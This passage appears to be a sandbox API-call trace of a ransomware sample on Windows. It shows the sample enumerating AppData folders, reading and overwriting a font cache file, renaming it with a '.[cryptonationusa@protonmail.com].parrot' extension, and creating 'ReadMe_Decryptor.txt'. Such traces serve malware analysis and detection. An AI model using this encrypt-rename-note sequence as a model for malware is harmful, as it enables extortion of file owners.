ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf50 | out: hHeap=0x5b0000) returned 1 [0037.080] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0037.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cc9d8 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.080] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0037.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0037.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0037.080] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0037.080] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0037.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0037.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0037.080] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0037.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0037.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0037.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0037.081] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0037.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0037.081] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0037.081] lstrcmpW (lpString1="Deployment", lpString2=".") returned 1 [0037.081] lstrcmpW (lpString1="Deployment", lpString2="..") returned 1 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x5cc9d8 [0037.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0037.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0037.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60cdc0 [0037.081] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0037.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0037.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.081] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0037.081] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0037.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0037.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5e9ca0 [0037.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0037.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.082] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0037.082] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0037.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0037.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0037.082] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0037.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0037.082] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0037.083] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0037.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0037.083] lstrcmpW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0037.083] GetFileSize (in: hFile=0x260, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x1a918 [0037.083] LockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1aa30, nNumberOfBytesToLockHigh=0x0) returned 1 [0037.083] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0037.083] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0037.085] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.085] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a918, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x1a918, lpOverlapped=0x0) returned 1 [0037.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0037.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0037.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0037.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0037.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0037.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0037.088] GetLastError () returned 0x0 [0037.092] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0037.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0037.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60cf48 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2b80 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d33c8 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2b80 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0037.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2210048 [0037.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0037.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2212fe0 [0037.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0037.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2217730 [0037.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212fe0 | out: hHeap=0x5b0000) returned 1 [0037.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x221e210 [0037.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2217730 | out: hHeap=0x5b0000) returned 1 [0037.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2228240 [0037.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221e210 | out: hHeap=0x5b0000) returned 1 [0037.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2210048 [0037.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228240 | out: hHeap=0x5b0000) returned 1 [0037.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2226880 [0037.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0037.098] WriteFile (in: hFile=0x260, lpBuffer=0x22268a0*, nNumberOfBytesToWrite=0x1aa38, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x22268a0*, lpNumberOfBytesWritten=0x18f4b4*=0x1aa38, lpOverlapped=0x0) returned 1 [0037.099] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2226880 | out: hHeap=0x5b0000) returned 1 [0037.099] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1aa30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0037.099] CloseHandle (hObject=0x260) returned 1 [0037.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0037.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0037.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0037.100] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0037.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8788 | out: hHeap=0x5b0000) returned 1 [0037.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0037.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0037.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5e9ca0 [0037.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0037.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0037.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0037.103] GetFileType (hFile=0x260) returned 0x1 [0037.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0037.112] FindFirstFileExW (in: 